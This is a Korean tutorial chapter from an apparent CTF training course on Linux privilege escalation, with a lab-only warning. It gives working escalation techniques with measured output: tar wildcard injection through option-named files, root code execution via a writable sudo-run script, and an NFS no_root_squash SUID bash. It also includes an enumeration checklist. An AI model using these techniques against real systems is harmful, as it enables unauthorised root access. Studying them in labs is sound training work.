Step 259. 리눅스 권한 상승 완전 정복 — 패턴에서 체크리스트로
Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 4시간
전제: Step 125의 권한 상승 입문(정찰 명령 여섯 개), Step 126의 linPEAS 자동 열거를 마쳤다. THM/HTB 머신에서 SUID·sudo·cron 상승을 몇 번 경험했다.
- 준비물: 리눅스 환경(WSL 가능). cron 와일드카드·sudo 스크립트·capabilities 실험은
/tmp에서 직접 실측합니다. NFS 공격 장면은 출력 예시로 제시합니다 (이 환경에는 NFS 서버가 없습니다). - ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
Step 125~126에서 상승 정찰을 배웠고, 머신들을 풀면서 SUID·sudo·cron 같은 패턴을 흩어져 만났습니다. 오늘은 그 흩어진 경험을 한 장의 완전한 체크리스트로 조립하는 날입니다. 새 머신에 쉘을 얻었을 때 위에서부터 기계적으로 돌릴 수 있는 "개인 privesc 매뉴얼"을 만드는 것이 목표입니다. 중요한 것은 패턴 암기가 아니라 "왜 이 설정이 위험한가"의 이해입니다 — 이해한 사람만 변형된 함정에도 대응합니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 리눅스 권한 상승의 여덟 가지 패턴을 나열하고 각각의 탐색 명령을 안다
getcap -r로 capabilities를 열거하고 위험한 capability를 골라낸다- cron 와일드카드 주입(tar)의 원리를 실험으로 설명한다
- sudo 스크립트의 쓰기 권한 실수가 왜 곧바로 root인지 시연한다
- NFS
no_root_squash공격의 흐름을 설명한다 - 위 내용을 한 장짜리 개인 체크리스트로 문서화한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 리눅스 셸 (WSL /tmp 실측 + NFS 장면 출력 예시) |
| 오늘의 명령 | getcap -r, setcap, showmount -e, mount -t nfs, tar 와일드카드 주입, ls -l·namei 권한 추적 |
| 필요한 개념 | capabilities, GTFOBins 카테고리(suid/sudo), cron 와일드카드 주입, root_squash |
| 오늘의 산출물 | 리눅스 privesc 체크리스트 v1 — 새 머신에서 위에서부터 돌리는 한 장 문서 |
2-1. 패턴의 전체 지도 — 여덟 개의 문
리눅스 권한 상승의 "설정 실수" 계열은 여덟 개의 문으로 정리됩니다. Step 125에서 배운 것(굵은 글씨)과 오늘 새로 보강하는 것을 나란히 놓으면:
- SUID 파일 —
find / -perm /4000→ GTFOBins 조회 - sudo 규칙 —
sudo -l→ 허용 명령의 탈출 구멍 - cron 작업 —
/etc/crontab→ 스크립트 쓰기 권한, 와일드카드 주입(오늘 실측) - 쓰기 가능한 파일 — 시스템 스크립트·설정이 내가 고칠 수 있음
- 커널 익스플로잇 — 오래된 커널의 알려진 버그
- capabilities (오늘) — SUID를 세분화한 권한 부여,
cap_setuid등이 위험 - NFS 공유 (오늘) —
no_root_squash가 걸린 공유 폴더 - 비밀번호 발견 — 설정 파일·히스토리에 박힌 자격증명 재사용
문이 여덟 개라는 뜻은 "여덟 개를 빠짐없이 두드리는 목록"이 있어야 한다는 뜻입니다. 오늘의 산출물이 바로 그 목록입니다.
2-2. capabilities — SUID의 쪼개진 형태
SUID는 "실행하는 동안 소유자(root)의 모든 권한"을 줍니다. 너무 과하다는 문제의식에서 나온 것이 capabilities — root의 권한을 약 40개의 조각으로 나눠 필요한 것만 붙이는 장치입니다. 예를 들어 ping은 raw 소켓만 필요하므로 cap_net_raw 하나면 충분합니다.
실제로 최신 Ubuntu의 ping은 SUID가 아니라 capability로 동작합니다 (3-1에서 실측합니다). 보안 설계로는 진보입니다 — 그런데 관리자가 실수로 cap_setuid("uid를 바꿀 수 있는 권한" = 사실상 root)를 일반 프로그램에 붙여 두면, SUID보다 눈에 잘 안 띄는 상승 경로가 됩니다. find -perm /4000에는 잡히지 않으니까요. 열거 명령은 getcap -r / 2>/dev/null입니다.
2-3. cron 와일드카드 주입 — 별표가 명령이 되는 순간
관리자가 크론에 이런 작업을 등록했다고 합시다:
* * * * * root cd /home/user/uploads && tar czf /backup/uploads.tgz *
끝의 *은 쉘이 디렉터리의 파일 목록으로 풀어 줍니다 — 그런데 파일 이름이 --checkpoint-action=exec=sh run.sh 같은 옵션 모양이면, tar은 그것을 파일이 아니라 옵션으로 해석합니다. *은 알파벳순으로 펼쳐지므로 -로 시작하는 이름들이 명령어 인자 자리에 들어갑니다. 결과: root 크론이 실행하는 tar이 공격자가 심어 둔 스크립트를 root 권한으로 실행합니다. 3-4에서 이 원리를 /tmp에서 직접 재현합니다.
2-4. NFS와 no_root_squash — 네트워크 너머의 문
NFS(Network File System)는 다른 컴퓨터의 디렉터리를 내 디스크처럼 마운트하는 공유 방식입니다. 여기에는 root_squash라는 안전장치가 기본으로 켜져 있습니다 — 원격에서 접속한 root를 nobody 권한으로 "눌러(squash)" 버리는 것입니다.
문제는 관리자가 no_root_squash를 명시한 공유입니다. 원격 root가 진짜 root로 인정되므로, 공격자는 자기 머신에서 root로 SUID 바이너리를 만들어 공유 폴더에 올리고, 타깃에서 그것을 실행해 root를 얻습니다. 탐색 명령은 showmount -e 타깃IP(공유 목록 조회)이고, /etc/exports 파일에 no_root_squash가 보이면 확정입니다. 3-5에서 출력 예시로 흐름을 봅니다.
3. 따라 하기
오늘의 실험은 전부 /tmp/lab259 아래에서 진행합니다 — 시스템 설정은 건드리지 않습니다. 실측은 2026-09-09 WSL(Ubuntu 24.04)에서 수행했습니다.
3-1. capabilities 열거 — getcap
getcap -r /usr 2>/dev/null
출력 (2026-09-09 WSL 실측):
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p
/usr/bin/ping cap_net_raw=ep
읽는 법: getcap -r /이 전체 스캔이지만, WSL에서는 /mnt/c까지 헤매느라 매우 느립니다 (이 실측에서도 전체 스캔은 시간 초과로 /usr로 범위를 좁혔습니다 — 타깃에서는 /usr부터 보는 것이 실용적입니다). 세 줄을 봅시다:
ping cap_net_raw=ep— raw 소켓 권한만. 정상이자 모범 사례입니다. 바로 아래에서 SUID와 대조해 봅니다.snap-confine ... cap_setuid ...— 여러 capabilities 중cap_setuid가 보입니다. snapd의 핵심 부품이라 필요해서 붙은 것이지만, 이 권한 이름이 뜨는 순간 공격자는 눈을 빛냅니다 —cap_setuid는 "uid를 0으로 바꿀 수 있는 권한", 즉 사실상 root로 가는 표이기 때문입니다.- 여러분의 체크리스트 규칙: getcap 출력에서
cap_setuid·cap_dac_override·cap_sys_admin이 보이면 최우선 후보.
참고로 =ep·=p 꼬리표는 권한의 활성화 범위(effective/permitted) 표시입니다. 지금은 "붙어 있다/없다"만 구분하면 충분합니다.
3-2. SUID와 capability의 대조 — ping과 passwd
ls -l /usr/bin/ping
ls -l /usr/bin/passwd
출력 (2026-09-09 WSL 실측):
-rwxr-xr-x 1 root root 89800 Jul 24 2025 /usr/bin/ping
-rwsr-xr-x 1 root root 64152 May 30 2024 /usr/bin/passwd
읽는 법: passwd에는 소유자 자리에 s(SUID)가 있고, ping에는 없습니다 — 그런데 ping은 잘 작동합니다. capability(cap_net_raw)가 SUID를 대체한 것입니다. 이 대조가 가르치는 것: ① 최신 시스템일수록 SUID 목록은 짧아지고 capability 목록이 늘어난다. ② 따라서 find -perm /4000만 돌리는 열거는 시대에 뒤처진다 — SUID와 getcap을 반드시 나란히 돌려야 합니다.
3-3. sudo 스크립트의 쓰기 권한 — "스크립트를 sudo로 열어 줬는데, 그 파일을 내가 고칠 수 있다"
관리자가 "백업 스크립트만 sudo로 실행하게 해 주자"고 했다고 합시다. 그런데 스크립트 파일의 권한을 실수로 777로 뒀습니다. 이 상황을 /tmp에서 모사합니다 (2026-09-09 WSL 실측):
mkdir -p /tmp/lab259/sudo_demo && cd /tmp/lab259/sudo_demo
printf '#!/bin/bash\necho "백업을 시작합니다..."\ntar czf data.tgz /etc/hostname\n' > backup.sh
chmod 777 backup.sh # ← 관리자의 실수: 누구나 고칠 수 있음
ls -l backup.sh
출력:
-rwxrwxrwx 1 root root 101 Sep 9 20:03 backup.sh
이제 공격자(낮은 권한)가 할 일은 한 줄 추가뿐입니다:
printf 'id > /tmp/lab259/sudo_demo/sudo_pwned.txt\n' >> backup.sh
sudo /tmp/lab259/sudo_demo/backup.sh # 관리자가 열어 둔 sudo 규칙 모사
cat /tmp/lab259/sudo_demo/sudo_pwned.txt
출력 (2026-09-09 실측):
백업을 시작합니다...
tar: Removing leading `/' from member names
uid=0(root) gid=0(root) groups=0(root)
읽는 법: backup.sh는 겉보기에 무해한 백업 스크립트지만, 제가 추가한 id > ... 한 줄이 root 권한으로 실행돼 결과 파일을 남겼습니다. 이 실험 환경은 root라 결과도 root로 찍혔지만, 원리가 핵심입니다 — "sudo로 실행되는 스크립트의 내용을 내가 바꿀 수 있다" = 그 스크립트는 곧 나의 root 실행기입니다. 랩에서는 여기에 리버스 쉘 한 줄을 심습니다. 체크리스트 규칙: sudo -l에 스크립트 경로가 보이면 즉시 ls -l과 namei -l 경로로 파일과 부모 디렉터리 전체의 쓰기 권한을 확인합니다 — 파일은 잠겨 있어도 상위 폴더가 쓰기 가능하면 파일을 통째로 교체할 수 있기 때문입니다.
3-4. cron 와일드카드 주입 — tar 옵션 모양 파일 심기
2-3의 원리를 재현합니다. /tmp/lab259/backup_src가 "root 크론이 tar czf backup.tgz *을 실행하는 디렉터리"라고 가정합니다 (2026-09-09 WSL 실측):
mkdir -p /tmp/lab259/backup_src && cd /tmp/lab259/backup_src
echo "user document 1" > report.txt
echo "user document 2" > memo.txt
echo "id > /tmp/lab259/out/pwned.txt" > run.sh && chmod +x run.sh
# 핵심 두 개 — "파일 이름"이 tar의 옵션 모양
touch -- --checkpoint=1
touch -- "--checkpoint-action=exec=sh run.sh"
ls -la
출력:
total 20
-rw-r--r-- 1 root root 0 Sep 9 20:03 --checkpoint-action=exec=sh run.sh
-rw-r--r-- 1 root root 0 Sep 9 20:03 --checkpoint=1
drwxr-xr-x 2 root root 4096 Sep 9 20:03 .
drwxr-xr-x 4 root root 4096 Sep 9 20:03 ..
-rw-r--r-- 1 root root 16 Sep 9 20:03 memo.txt
-rw-r--r-- 1 root root 16 Sep 9 20:03 report.txt
-rwxr-xr-x 1 root root 31 Sep 9 20:03 run.sh
ls에는 그저 빈 파일 둘로 보입니다. 이제 root 크론을 모사해 tar를 실행합니다:
tar czf /tmp/lab259/out/backup.tgz *
cat /tmp/lab259/out/pwned.txt
출력 (2026-09-09 실측):
uid=0(root) gid=0(root) groups=0(root)
읽는 법: *이 펼쳐지면서 --checkpoint=1과 --checkpoint-action=...이 tar의 옵션으로 들어가, 첫 번째 파일을 처리하는 순간 run.sh가 실행됐습니다. "백업"이라는 정상 기능이 공격자의 코드 실행기가 된 것입니다. 체크리스트 규칙: /etc/crontab·/etc/cron.d/에서 *을 쓰는 tar·cp·chmod·chown 명령을 찾고, 그 대상 디렉터리가 내가 쓸 수 있는지 확인합니다. 참고로 이 환경의 /etc/cron.d/에는 e2scrub_all 하나만 있었고 와일드카드 사용은 없었습니다 (2026-09-09 실측 — "없음"도 열거 결과입니다).
3-5. NFS no_root_squash — 출력 예시
이 환경에는 NFS 서버가 없습니다 (showmount 명령도 없음 — 2026-09-09 실측). 랩에서의 흐름을 출력 예시로 봅니다:
# 1. 타깃의 NFS 공유 목록 조회
showmount -e TARGET_IP
# Export list for TARGET_IP:
# /srv/nfs_share *
# 2. 내 머신(Kali)에 마운트
mkdir /mnt/nfs
mount -t nfs TARGET_IP:/srv/nfs_share /mnt/nfs
# 3. 공유 안의 exports 설정 확인 — no_root_squash 발견
cat /mnt/nfs/../exports 2>/dev/null; mount | grep nfs
# 4. Kali에서 root로 SUID 쉘을 만들어 공유에 배치
cp /bin/bash /mnt/nfs/rootbash
chmod 4755 /mnt/nfs/rootbash
# 5. 타깃 쉘에서 실행 → no_root_squash라 소유자 root 그대로
/srv/nfs_share/rootbash -p
id
# uid=1000(user) gid=1000(user) euid=0(root) groups=...
읽는 법: 핵심은 3번의 no_root_squash와 5번의 euid=0(root)입니다. root_squash가 켜져 있었다면(정상 기본값) 4번에서 만든 파일의 소유자가 nobody로 눌려 버려 SUID가 작동하지 않습니다. 방어자 관점에서는 한 줄짜리 설정 차이 — 공격자 관점에서는 문이 열리고 닫히는 차이입니다.
3-6. 체크리스트 조립 — 오늘의 산출물
지금까지의 패턴을 "새 머신에서 위에서부터 치는 순서"로 조립합니다. 순서의 원칙은 싸고 안전한 것부터 (읽기 명령 → 설정 확인 → 마지막이 커널):
[ ] 1. id / sudo -l — 지금 권한, 허용된 sudo
[ ] 2. uname -a / cat /etc/os-release — 커널 익스플로잇 후보 판별(보류)
[ ] 3. find / -perm /4000 -type f 2>/dev/null — SUID → GTFOBins
[ ] 4. getcap -r /usr 2>/dev/null — capabilities → cap_setuid 등
[ ] 5. cat /etc/crontab; ls /etc/cron.d/ — 크론 → 스크립트 쓰기? 와일드카드?
[ ] 6. find / -writable -type f 2>/dev/null | head — 쓰기 가능 파일
[ ] 7. cat /etc/exports; showmount -e IP — NFS no_root_squash
[ ] 8. grep -r "password" /etc ... — 박힌 자격증명
[ ] 9. linPEAS — 사람 체크리스트의 감사관
[ ] 10. (최후) 커널 익스플로잇 — 다운 위험 감수
이것이 체크리스트 v1의 뼈대입니다. 미션에서 각 항목에 "왜 위험한가" 한 줄을 붙여 완성합니다.
4. 미션과 연습문제
미션 — 리눅스 privesc 체크리스트 v1 완성
- 3-6의 뼈대에 여덟 패턴 각각의 ① 탐색 명령 ② 악용 조건 ③ "왜 위험한가" 한 줄을 채워
privesc-체크리스트-v1.md를 완성합니다 - 3-3의 sudo 스크립트 실험과 3-4의 tar 와일드카드 실험을 여러분의
/tmp에서 재현하고 출력을 저장합니다 getcap -r /usr 2>/dev/null의 출력에서 위험 capability 세 개(cap_setuid·cap_dac_override·cap_sys_admin)가 있는지 확인하고 결과를 기록합니다- GTFOBins에서 자주 보이는 명령 다섯 개(find, vim, less, python, cp)의 SUID 레시피를 찾아 체크리스트에 링크합니다
- (랩이 있다면) THM/HTB 머신 한 대에 체크리스트를 위에서부터 적용하고, 어떤 항목에서 경로가 열렸는지 기록합니다
연습문제
문제 1. ping에 SUID가 없는데도 작동하는 이유를 capability 개념으로 설명해 보세요.
문제 2. cron의 tar czf backup.tgz *에서 공격자가 심는 파일 두 개의 이름과 각각의 역할을 말해 보세요.
문제 3. sudo로 실행이 허용된 스크립트 파일 자체는 읽기 전용인데, 그 부모 디렉터리가 쓰기 가능하면 왜 여전히 위험한가요?
문제 4. no_root_squash가 켜진 NFS 공유에서 SUID 공격이 성립하는 이유를, root_squash의 기본 동작과 대조해서 설명해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
체크리스트 v1의 완성 예시 (일부 — ①②③ 순서로 정리):
| 패턴 | 탐색 명령 | 악용 조건 | 왜 위험한가 |
|---|---|---|---|
| SUID | find / -perm /4000 |
GTFOBins 등재 명령 | 소유자(root) 권한으로 실행됨 |
| sudo | sudo -l |
NOPASSWD + 탈출 가능 명령 | 허용 명령이 쉘 실행 기능을 내포 |
| cron 스크립트 | cat /etc/crontab |
스크립트·상위 폴더 쓰기 가능 | root가 내 내용을 실행해 줌 |
| cron 와일드카드 | crontab의 * 탐색 |
대상 디렉터리 쓰기 가능 | 파일 이름이 옵션으로 해석됨 (3-4 실측) |
| capabilities | getcap -r /usr |
cap_setuid 등 부여 |
SUID 대체재 = 조용한 root 표 |
| 쓰기 가능 파일 | find / -writable |
시스템 설정·스크립트 포함 | 설정 변경이 곧 권한 변경 |
| NFS | showmount -e |
no_root_squash |
원격 root가 진짜 root로 인정됨 |
| 박힌 비밀번호 | grep -r password |
실제 값 발견 | 자격증명 재사용으로 상승 |
검증하는 법: ① 두 실험(tar 주입, sudo 스크립트)의 결과 파일(pwned.txt, sudo_pwned.txt)에 uid=0(root)가 찍혔는가. ② 체크리스트의 각 행에 "왜 위험한가"가 자기 문장으로 쓰여 있는가 — 베낀 문장이면 변형에 대응 못 합니다. ③ getcap 실측 결과가 기록에 있는가 — 위험 capability가 없어도 "없음 확인"이 기록이면 됩니다.
연습문제 해답
문제 1 해답. ping에는 cap_net_raw=ep capability가 부여돼 있습니다 (3-1 실측). raw 소켓을 여는 데 필요한 권한 조각만 받았으므로 SUID 없이 동작합니다. root의 전체 권한 대신 필요한 한 조각만 주는 것이 capabilities의 설계 사상이며, 3-2에서 ls -l로 passwd의 s와 대조해 확인했습니다.
문제 2 해답. --checkpoint=1과 --checkpoint-action=exec=sh run.sh. 첫 번째는 "파일 1개 처리할 때마다 체크포인트를 울려라", 두 번째는 "체크포인트에서 이 명령을 실행해라"는 tar 옵션입니다. 쉘이 *을 펼칠 때 이 파일 이름들이 tar의 인자로 들어가 옵션으로 해석되고, 첫 파일 처리 시점에 run.sh가 실행됩니다 (3-4 실측에서 pwned.txt 생성으로 확인).
문제 3 해답. 디렉터리에 쓰기 권한이 있으면 파일의 이름을 지우고 새 파일을 같은 이름으로 만들 수 있습니다 — 파일 내용을 못 고쳐도 파일을 통째로 교체하는 것은 디렉터리 권한이 결정합니다. 그래서 권한 확인은 ls -l 파일로 끝나지 않고 namei -l 경로로 경로 전체를 따라가야 합니다.
문제 4 해답. root_squash(기본값)는 NFS로 접속한 원격 root를 nobody로 눌러 버립니다 — 그래서 공유에 SUID 바이너리를 올려도 소유자가 nobody가 돼 상승이 안 됩니다. no_root_squash는 이 눌림을 끄는 설정이라, 내 머신에서 root로 만든 chmod 4755 바이너리가 타깃에서도 root 소유 SUID로 살아남아, 타깃에서 실행하면 euid 0을 얻습니다 (3-5 출력 예시).
완료 기준 체크리스트
- [ ] 여덟 패턴을 순서 없이도 전부 나열할 수 있다
- [ ]
getcap -r출력에서 위험 capability 세 개를 골라낼 수 있다 - [ ] ping(SUID 없음)과 passwd(SUID)의 대조를 설명할 수 있다
- [ ] cron 와일드카드 주입을
/tmp에서 재현하고uid=0결과를 얻었다 - [ ] sudo 스크립트 쓰기 권한 실수의 위험을 시연할 수 있다
- [ ] NFS
no_root_squash공격의 다섯 단계를 말할 수 있다 - [ ] 미션:
privesc-체크리스트-v1.md를 완성했다
6. 흔한 실수와 해결
벽 1. getcap이 너무 오래 걸린다
증상: getcap -r / 2>/dev/null이 몇 분째 안 끝납니다.
원인: WSL에서는 /mnt/c 같은 마운트 영역까지 재귀 탐색합니다. 이 실측 환경에서도 전체 스캔은 시간 초과됐습니다.
해결: /usr부터 좁혀 시작하세요 — getcap -r /usr 2>/dev/null. 타깃 머신에서도 실행 파일이 사는 /usr, /bin, /sbin, /opt 순으로 좁혀 도는 것이 실용적입니다.
벽 2. 와일드카드 파일이 "지워지지" 않는다
증상: 실험 후 정리하려고 rm --checkpoint=1을 쳤더니 옵션 오류가 납니다.
rm: unrecognized option '--checkpoint=1'
원인: rm도 그 이름을 옵션으로 해석합니다 — 주입이 먹히는 바로 그 원리가 청소에서도 나타납니다.
해결: --로 "여기서부터는 옵션 아님"을 선언하세요 — rm -- --checkpoint=1. 또는 rm ./--checkpoint=1처럼 경로를 붙입니다. 파일을 만들 때 touch --를 썼던 것과 같은 이유입니다.
벽 3. sudo -l에 스크립트가 있는데 쓰기가 안 된다
증상: ls -l에서 -rwxr-xr-x 1 root root — 내 쓰기 권한이 없습니다.
원인: 파일 권한만 보고 포기한 상태입니다. 진짜 질문은 "경로 전체 중 내가 지배하는 층이 있는가"입니다.
해결: namei -l /opt/scripts/backup.sh로 경로의 모든 층을 보세요. 파일은 잠겨 있어도 상위 폴더가 그룹·기타 쓰기로 열려 있으면 교체가 가능합니다 (연습문제 3 참조). 랩에서 이 함정은 파일 권한이 멀쩡해 보이게 만들어 두는 식으로 변형됩니다.
벽 4. tar 주입이 안 먹힌다
증상: 파일을 심었는데 크론이 돌아도 아무 일이 없습니다.
원인 후보: ① 크론 명령에 와일드카드가 없음(tar czf backup.tgz /home/user/uploads처럼 디렉터리를 직접 지정하면 파일 이름이 인자로 안 들어감). ② GNU tar이 아닌 구현. ③ 크론이 아직 안 돌았음.
해결: ①이면 이 경로는 무효 — 기록하고 다음 문으로. ③이면 실험에서는 3-4처럼 수동으로 tar ... *을 실행해 원리만 검증하세요. "크론을 기다리는 것"과 "원리를 검증하는 것"을 분리하는 것이 랩 공략의 요령입니다.
벽 5. showmount 자체가 없다
증상 (2026-09-09 실측): which showmount → 아무 출력 없음.
원인: nfs-common 패키지가 설치되지 않은 것입니다.
해결: 랩의 Kali에는 기본 포함돼 있습니다. WSL 실험 환경에서는 3-5처럼 개념과 출력 예시로 익히면 충분합니다 — 그리고 타깃 쪽에서 NFS를 의심하게 만드는 진짜 신호는 nmap의 2049/tcp open nfs입니다. 공격 머신의 도구 유무보다 타깃의 열린 포트가 열거의 출발점임을 기억하세요.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| capabilities | root 권한을 조각낸 부여 장치 — cap_setuid가 최위험 |
| getcap 열거 | SUID를 대체하는 시대의 필수 정찰 — find -perm /4000의 짝 |
| cron 와일드카드 주입 | *이 펼쳐지며 파일 이름이 옵션이 되는 공격 (tar 등) |
| sudo 스크립트 함정 | 실행 허용된 스크립트가 쓰기 가능 = 나의 root 실행기 |
| root_squash | NFS의 원격 root 눌림(기본) — no_root_squash가 문을 연다 |
| 체크리스트 v1 | 싸고 안전한 것부터 위에서 두드리는 개인 매뉴얼 |
오늘의 명령어
| 명령 | 하는 일 |
|---|---|
getcap -r /usr 2>/dev/null |
capability 부여 파일 열거 |
ls -l /usr/bin/ping |
capability 시대의 증거 (SUID 없음) |
touch -- --checkpoint=1 |
tar 옵션 모양 파일 심기 (실험) |
tar czf out.tgz * |
와일드카드 주입의 발사대 (크론 모사) |
namei -l 경로 |
경로 전 층의 권한 추적 |
showmount -e IP |
NFS 공유 목록 조회 (출력 예시) |
mount -t nfs IP:/share /mnt/nfs |
NFS 마운트 (출력 예시) |
명령어보다 중요한 감각
오늘 만든 체크리스트의 값은 목록이 아니라 각 행의 "왜"에 있습니다. 와일드카드 주입을 이해한 사람은 cp *, chmod * 변형에도 걸리지 않고, capabilities를 이해한 사람은 SUID가 깨끗한 시스템에서도 길을 찾습니다. 그리고 여덟 개의 문 전부가 사실 하나의 문입니다 — "높은 권한이 실행하는 것을 낮은 권한이 바꿀 수 있는가?" 스크립트든, 파일 이름이든, 공유 폴더든, 이 질문 하나로 모든 패턴이 같은 얼굴로 보이기 시작하면 오늘의 목표는 달성입니다.
전부 체크되면 Step 259 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.